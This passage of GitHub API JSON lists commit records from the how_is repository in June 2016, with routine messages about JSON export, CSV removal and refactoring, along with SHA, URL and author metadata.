Report#to_json.","tree":{"sha":"701d205ad434f877753a6ccb0410f31e951edf2a","url":"https://api.github.com/repos/how-is/how_is/git/trees/701d205ad434f877753a6ccb0410f31e951edf2a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/316be38409297372d518ff21636600bb1db27c72","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/316be38409297372d518ff21636600bb1db27c72","html_url":"https://github.com/how-is/how_is/commit/316be38409297372d518ff21636600bb1db27c72","comments_url":"https://api.github.com/repos/how-is/how_is/commits/316be38409297372d518ff21636600bb1db27c72/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6398ded7a9927e3c987361beab1c4fe8772f4cd9","url":"https://api.github.com/repos/how-is/how_is/commits/6398ded7a9927e3c987361beab1c4fe8772f4cd9","html_url":"https://github.com/how-is/how_is/commit/6398ded7a9927e3c987361beab1c4fe8772f4cd9"}]},{"sha":"6398ded7a9927e3c987361beab1c4fe8772f4cd9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjM5OGRlZDdhOTkyN2UzYzk4NzM2MWJlYWIxYzRmZTg3NzJmNGNkOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:37:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:37:22Z"},"message":"Remove CSV support.","tree":{"sha":"3e927d6e7fb0c5e4c6516deb7f0b368a464c800c","url":"https://api.github.com/repos/how-is/how_is/git/trees/3e927d6e7fb0c5e4c6516deb7f0b368a464c800c"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6398ded7a9927e3c987361beab1c4fe8772f4cd9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6398ded7a9927e3c987361beab1c4fe8772f4cd9","html_url":"https://github.com/how-is/how_is/commit/6398ded7a9927e3c987361beab1c4fe8772f4cd9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6398ded7a9927e3c987361beab1c4fe8772f4cd9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"cbf4ca888743ea794bb0d719ecda757d85f03345","url":"https://api.github.com/repos/how-is/how_is/commits/cbf4ca888743ea794bb0d719ecda757d85f03345","html_url":"https://github.com/how-is/how_is/commit/cbf4ca888743ea794bb0d719ecda757d85f03345"}]},{"sha":"cbf4ca888743ea794bb0d719ecda757d85f03345","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2JmNGNhODg4NzQzZWE3OTRiYjBkNzE5ZWNkYTc1N2Q4NWYwMzM0NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:36:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:36:14Z"},"message":"rw -> w.","tree":{"sha":"d21e85005ecd27346eccb5bcb7bfc1fb36efe108","url":"https://api.github.com/repos/how-is/how_is/git/trees/d21e85005ecd27346eccb5bcb7bfc1fb36efe108"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cbf4ca888743ea794bb0d719ecda757d85f03345","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cbf4ca888743ea794bb0d719ecda757d85f03345","html_url":"https://github.com/how-is/how_is/commit/cbf4ca888743ea794bb0d719ecda757d85f03345","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cbf4ca888743ea794bb0d719ecda757d85f03345/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c34048c0fd88240d10abc02ba63d0746f194662a","url":"https://api.github.com/repos/how-is/how_is/commits/c34048c0fd88240d10abc02ba63d0746f194662a","html_url":"https://github.com/how-is/how_is/commit/c34048c0fd88240d10abc02ba63d0746f194662a"}]},{"sha":"c34048c0fd88240d10abc02ba63d0746f194662a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzM0MDQ4YzBmZDg4MjQwZDEwYWJjMDJiYTYzZDA3NDZmMTk0NjYyYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:36:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:36:00Z"},"message":"Make export!() automagically handle new formats.","tree":{"sha":"817b39228471d7037ed5d69f0158e3752aad92ef","url":"https://api.github.com/repos/how-is/how_is/git/trees/817b39228471d7037ed5d69f0158e3752aad92ef"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c34048c0fd88240d10abc02ba63d0746f194662a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c34048c0fd88240d10abc02ba63d0746f194662a","html_url":"https://github.com/how-is/how_is/commit/c34048c0fd88240d10abc02ba63d0746f194662a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c34048c0fd88240d10abc02ba63d0746f194662a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","url":"https://api.github.com/repos/how-is/how_is/commits/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","html_url":"https://github.com/how-is/how_is/commit/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89"}]},{"sha":"95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTViNWU4ZTZmZDcxNDE4ZDc1N2Q0ZWU4ODdkZmE1OGQxZmJmZWI4OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:34:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:34:31Z"},"message":"Make generate_report() actually work if you pass optional arguments.","tree":{"sha":"6e05443dd880771945fb49c7403a3c76fee6a084","url":"https://api.github.com/repos/how-is/how_is/git/trees/6e05443dd880771945fb49c7403a3c76fee6a084"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","html_url":"https://github.com/how-is/how_is/commit/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89","comments_url":"https://api.github.com/repos/how-is/how_is/commits/95b5e8e6fd71418d757d4ee887dfa58d1fbfeb89/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"467089574e92aaf8e941cb2738f065f498731b9c","url":"https://api.github.com/repos/how-is/how_is/commits/467089574e92aaf8e941cb2738f065f498731b9c","html_url":"https://github.com/how-is/how_is/commit/467089574e92aaf8e941cb2738f065f498731b9c"}]},{"sha":"467089574e92aaf8e941cb2738f065f498731b9c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDY3MDg5NTc0ZTkyYWFmOGU5NDFjYjI3MzhmMDY1ZjQ5ODczMWI5Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:30:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:30:32Z"},"message":"Add JSON export.","tree":{"sha":"dd645b66ae5bc02150997f16c60f6b19b94bd770","url":"https://api.github.com/repos/how-is/how_is/git/trees/dd645b66ae5bc02150997f16c60f6b19b94bd770"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/467089574e92aaf8e941cb2738f065f498731b9c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/467089574e92aaf8e941cb2738f065f498731b9c","html_url":"https://github.com/how-is/how_is/commit/467089574e92aaf8e941cb2738f065f498731b9c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/467089574e92aaf8e941cb2738f065f498731b9c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe74be29519641d2196815e1054357c4002ff880","url":"https://api.github.com/repos/how-is/how_is/commits/fe74be29519641d2196815e1054357c4002ff880","html_url":"https://github.com/how-is/how_is/commit/fe74be29519641d2196815e1054357c4002ff880"}]},{"sha":"fe74be29519641d2196815e1054357c4002ff880","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmU3NGJlMjk1MTk2NDFkMjE5NjgxNWUxMDU0MzU3YzQwMDJmZjg4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:30:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:30:23Z"},"message":"Refactor reporter.rb.","tree":{"sha":"d7a22503f12c49797dab241217f425f46fa08cee","url":"https://api.github.com/repos/how-is/how_is/git/trees/d7a22503f12c49797dab241217f425f46fa08cee"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fe74be29519641d2196815e1054357c4002ff880","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fe74be29519641d2196815e1054357c4002ff880","html_url":"https://github.com/how-is/how_is/commit/fe74be29519641d2196815e1054357c4002ff880","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fe74be29519641d2196815e1054357c4002ff880/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"378c210b41a77cb0712658ba9dd4c8cfd871c623","url":"https://api.github.com/repos/how-is/how_is/commits/378c210b41a77cb0712658ba9dd4c8cfd871c623","html_url":"https://github.com/how-is/how_is/commit/378c210b41a77cb0712658ba9dd4c8cfd871c623"}]},{"sha":"378c210b41a77cb0712658ba9dd4c8cfd871c623","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mzc4YzIxMGI0MWE3N2NiMDcxMjY1OGJhOWRkNGM4Y2ZkODcxYzYyMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:28:24Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:28:24Z"},"message":"Add start of --from flag.","tree":{"sha":"af46aeb815f75b70f10f28ff7885808e9138c44d","url":"https://api.github.com/repos/how-is/how_is/git/trees/af46aeb815f75b70f10f28ff7885808e9138c44d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/378c210b41a77cb0712658ba9dd4c8cfd871c623","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/378c210b41a77cb0712658ba9dd4c8cfd871c623","html_url":"https://github.com/how-is/how_is/commit/378c210b41a77cb0712658ba9dd4c8cfd871c623","comments_url":"https://api.github.com/repos/how-is/how_is/commits/378c210b41a77cb0712658ba9dd4c8cfd871c623/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f5913cd16e4e20dddd1c7482be9625f95d1ae691","url":"https://api.github.com/repos/how-is/how_is/commits/f5913cd16e4e20dddd1c7482be9625f95d1ae691","html_url":"https://github.com/how-is/how_is/commit/f5913cd16e4e20dddd1c7482be9625f95d1ae691"}]},{"sha":"f5913cd16e4e20dddd1c7482be9625f95d1ae691","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjU5MTNjZDE2ZTRlMjBkZGRkMWM3NDgyYmU5NjI1Zjk1ZDFhZTY5MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:05:06Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-06T12:05:06Z"},"message":"Update README.md.","tree":{"sha":"71ce1061f7863b37cf70b22414e0926ea17b75e0","url":"https://api.github.com/repos/how-is/how_is/git/trees/71ce1061f7863b37cf70b22414e0926ea17b75e0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f5913cd16e4e20dddd1c7482be9625f95d1ae691","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f5913cd16e4e20dddd1c7482be9625f95d1ae691","html_url":"https://github.com/how-is/how_is/commit/f5913cd16e4e20dddd1c7482be9625f95d1ae691","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f5913cd16e4e20dddd1c7482be9625f95d1ae691/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","url":"https://api.github.com/repos/how-is/how_is/commits/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","html_url":"https://github.com/how-is/how_is/commit/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b"}]},{"sha":"ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWY2ZTNhYmQ1N2NkNGM3NGU2NzkxZDYwMGVlYmQyZWViZTZhZGQ5Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T02:34:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T02:34:56Z"},"message":"BAM.","tree":{"sha":"3873bf1bd657effe44e225df545369c3724e10df","url":"https://api.github.com/repos/how-is/how_is/git/trees/3873bf1bd657effe44e225df545369c3724e10df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","html_url":"https://github.com/how-is/how_is/commit/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ef6e3abd57cd4c74e6791d600eebd2eebe6add9b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"70b47a4977344a436c8851f1120db53aa3d2aa35","url":"https://api.github.com/repos/how-is/how_is/commits/70b47a4977344a436c8851f1120db53aa3d2aa35","html_url":"https://github.com/how-is/how_is/commit/70b47a4977344a436c8851f1120db53aa3d2aa35"}]},{"sha":"70b47a4977344a436c8851f1120db53aa3d2aa35","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzBiNDdhNDk3NzM0NGE0MzZjODg1MWYxMTIwZGI1M2FhM2QyYWEzNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:45:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:45:07Z"},"message":"Default to PDF 